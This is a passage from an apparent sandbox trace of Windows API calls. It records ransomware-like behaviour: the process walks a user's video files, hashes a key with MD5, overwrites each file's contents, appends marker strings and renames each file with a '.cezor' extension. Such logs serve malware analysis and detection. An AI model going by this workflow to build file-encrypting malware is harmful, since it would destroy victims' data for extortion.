lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0062.353] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a430 [0062.353] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0062.353] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5d40 | out: hHeap=0x670000) returned 1 [0062.353] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a430*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a430*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0062.353] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0062.353] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0062.353] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0062.353] CloseHandle (hObject=0x5c4) returned 1 [0062.354] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x30171f0 [0062.354] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8d0) returned 0x3100c28 [0062.354] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30171f0 | out: hHeap=0x670000) returned 1 [0062.354] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\aqq4ZugPM-uIfNTNxref\\oADBIR\\8KFC8j7.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\2odt1k\\vum2\\aqq4zugpm-uifntnxref\\oadbir\\8kfc8j7.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\aqq4ZugPM-uIfNTNxref\\oADBIR\\8KFC8j7.swf.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\2odt1k\\vum2\\aqq4zugpm-uifntnxref\\oadbir\\8kfc8j7.swf.cezor")) returned 1 [0062.355] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0062.355] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0062.355] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31238e8 | out: hHeap=0x670000) returned 1 [0062.356] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb78c010, ftCreationTime.dwHighDateTime=0x1d4d508, ftLastAccessTime.dwLowDateTime=0x652eebd0, ftLastAccessTime.dwHighDateTime=0x1d4d2e3, ftLastWriteTime.dwLowDateTime=0x652eebd0, ftLastWriteTime.dwHighDateTime=0x1d4d2e3, nFileSizeHigh=0x0, nFileSizeLow=0xfee4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="K KksBwzXVChJt.mp4", cAlternateFileName="KKKSBW~1.MP4")) returned 1 [0062.356] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febdb8 [0062.356] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x106) returned 0x31238e8 [0062.356] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febdb8 | out: hHeap=0x670000) returned 1 [0062.356] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\aqq4ZugPM-uIfNTNxref\\oADBIR\\K KksBwzXVChJt.mp4") returned=".mp4" [0062.356] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\aqq4ZugPM-uIfNTNxref\\oADBIR\\K KksBwzXVChJt.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\2odt1k\\vum2\\aqq4zugpm-uifntnxref\\oadbir\\k kksbwzxvchjt.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0062.356] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=65252) returned 1 [0062.356] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0062.358] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xfebe, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.358] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0062.359] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0062.359] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0062.359] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.359] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0xfee4, lpOverlapped=0x0) returned 1 [0062.360] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0062.360] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0062.360] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0062.360] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0062.360] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74eb40) returned 1 [0062.360] CryptCreateHash (in: hProv=0x74eb40, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0062.360] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0062.360] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0062.360] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0062.360] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0062.360] GetLastError () returned 0x0 [0062.361] CryptDestroyHash (hHash=0x3038608) returned 1 [0062.361] CryptReleaseContext (hProv=0x74eb40, dwFlags=0x0) returned 1 [0062.361] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0062.361] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfee0) returned 0x3132418 [0062.361] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0062.361] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0062.361] WriteFile (in: hFile=0x5c4, lpBuffer=0x3132418*, nNumberOfBytesToWrite=0xfedf, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x3132418*, lpNumberOfBytesWritten=0x9aafb24*=0xfedf, lpOverlapped=0x0) returned 1 [0062.361] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132418 | out: hHeap=0x670000) returned 1 [0062.361] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xfee4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.361] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5d40 [0062.361] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a430 [0062.361] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0062.361] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a878 [0062.362] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0062.362] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5d40 | out: hHeap=0x670000) returned 1 [0062.362] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a878*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a878*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0062.362] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0062.362] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0062.362] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0062.362] CloseHandle (hObject=0x5c4) returned 1 [0062.363] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xd0) returned 0x31153b0 [0062.363] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8e0) returned 0x3100c28 [0062.363] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31153b0 | out: hHeap=0x670000) returned 1 [0062.363] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\aqq4ZugPM-uIfNTNxref\\oADBIR\\K KksBwzXVChJt.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\2odt1k\\vum2\\aqq4zugpm-uifntnxref\\oadbir\\k kksbwzxvchjt.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\aqq4ZugPM-uIfNTNxref\\oADBIR\\K KksBwzXVChJt.mp4.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\2odt1k\\vum2\\aqq4zugpm-uifntnxref\\oadbir\\k kksbwzxvchjt.mp4.cezor")) returned 1 [0062.363] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0062.363] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0062.364] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31238e8 | out: hHeap=0x670000) returned 1 [0062.364] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe172a40, ftCreationTime.dwHighDateTime=0x1d4cccd, ftLastAccessTime.dwLowDateTime=0x5d4e69e0, ftLastAccessTime.dwHighDateTime=0x1d4d388, ftLastWriteTime.dwLowDateTime=0x5d4e69e0, ftLastWriteTime.dwHighDateTime=0x1d4d388, nFileSizeHigh=0x0, nFileSizeLow=0xbb7a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="KiC_I4C.avi", cAlternateFileName="")) returned 1 [0062.364] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febdb8 [0062.364] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x106) returned 0x31238e8 [0062.364] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febdb8 | out: hHeap=0x670000) returned 1 [0062.364] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\aqq4ZugPM-uIfNTNxref\\oADBIR\\KiC_I4C.avi") returned=".avi" [0062.364] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\aqq4ZugPM-uIfNTNxref\\oADBIR\\KiC_I4C.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\2odt1k\\vum2\\aqq4zugpm-uifntnxref\\oadbir\\kic_i4c.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0062.365] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=47994) returned 1 [0062.365] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0062.367] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xbb54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.367] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0062.368] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0062.368] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0062.368] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.368] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0xbb7a, lpOverlapped=0x0) returned 1 [0062.368] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0062.368] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0062.368] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0062.368] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0062.368] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74eb40) returned 1 [0062.369] CryptCreateHash (in: hProv=0x74eb40, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0062.369] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0062.369] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0062.369] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0062.369] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0062.369] GetLastError () returned 0x0 [0062.369] CryptDestroyHash (hHash=0x3038608) returned 1 [0062.369] CryptReleaseContext (hProv=0x74eb40, dwFlags=0x0) returned 1 [0062.369] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0062.369] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xbb80) returned 0x3132418 [0062.370] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0062.370] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0062.370] WriteFile (in: hFile=0x5c4, lpBuffer=0x3132418*, nNumberOfBytesToWrite=0xbb75, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x3132418*, lpNumberOfBytesWritten=0x9aafb24*=0xbb75, lpOverlapped=0x0) returned 1 [0062.370] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132418 | out: hHeap=0x670000) returned 1 [0062.370] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xbb7a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.370] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5d40 [0062.370] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a878 [0062.370] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a878, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0062.370] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a430 [0062.370] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0062.370] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5d40 | out: hHeap=0x670000) returned 1 [0062.370] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a430*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a430*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0062.370] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0062.370] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0062.370] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0062.370] CloseHandle (hObject=0x5c4) returned 1 [0062.371] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x30171f0 [0062.371] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8d0) returned 0x3100c28 [0062.371] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30171f0 | out: hHeap=0x670000) returned 1 [0062.371] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\aqq4ZugPM-uIfNTNxref\\oADBIR\\KiC_I4C.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\2odt1k\\vum2\\aqq4zugpm-uifntnxref\\oadbir\\kic_i4c.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\aqq4ZugPM-uIfNTNxref\\oADBIR\\KiC_I4C.avi.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\2odt1k\\vum2\\aqq4zugpm-uifntnxref\\oadbir\\kic_i4c.avi.cezor")) returned 1 [0062.373] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0062.373] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0062.374] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31238e8 | out: hHeap=0x670000) returned 1 [0062.374] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe172a40, ftCreationTime.dwHighDateTime=0x1d4cccd, ftLastAccessTime.dwLowDateTime=0x5d4e69e0, ftLastAccessTime.dwHighDateTime=0x1d4d388, ftLastWriteTime.dwLowDateTime=0x5d4e69e0, ftLastWriteTime.dwHighDateTime=0x1d4d388, nFileSizeHigh=0x0, nFileSizeLow=0xbb7a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="KiC_I4C.avi", cAlternateFileName="")) returned 0 [0062.374] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0062.375] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4898 | out: hHeap=0x670000) returned 1 [0062.375] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febd00 | out: hHeap=0x670000) returned 1 [0062.375] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0062.375] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febd00 [0062.375] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0062.375] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febdb8 [0062.375] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.375] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.375] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febdb8 | out: hHeap=0x670000) returned 1 [0062.375] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febdb8 [0062.375] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.375] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.375] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febdb8 | out: hHeap=0x670000) returned 1 [0062.375] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febdb8 [0062.375] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.375] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.375] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febdb8 | out: hHeap=0x670000) returned 1 [0062.375] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febdb8 [0062.375] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.375] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.375] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febdb8 | out: hHeap=0x670000) returned 1 [0062.375] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febdb8 [0062.375] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.375] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.375] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febdb8 | out: hHeap=0x670000) returned 1 [0062.375] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febdb8 [0062.375] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0062.375] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.375] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febdb8 | out: hHeap=0x670000) returned 1 [0062.375] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febdb8 [0062.375] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.376] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0062.376] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.376] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0062.376] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febdb8 | out: hHeap=0x670000) returned 1 [0062.376] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febdb8 [0062.376] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.376] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.376] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febdb8 | out: hHeap=0x670000) returned 1 [0062.376] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febdb8 [0062.376] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0062.376] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.376] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febdb8 | out: hHeap=0x670000) returned 1 [0062.376] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febdb8 [0062.376] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0062.376] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0062.376] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febdb8 | out: hHeap=0x670000) returned 1 [0062.376] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febdb8 [0062.376] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0062.376] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0062.376] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febdb8 | out: hHeap=0x670000) returned 1 [0062.376] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febdb8 [0062.376] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.376] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.376] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febdb8 | out: hHeap=0x670000) returned 1 [0062.376] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febdb8 [0062.376] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.376] HeapFree (in: hHeap=0x670000, dwFlags=0x0, 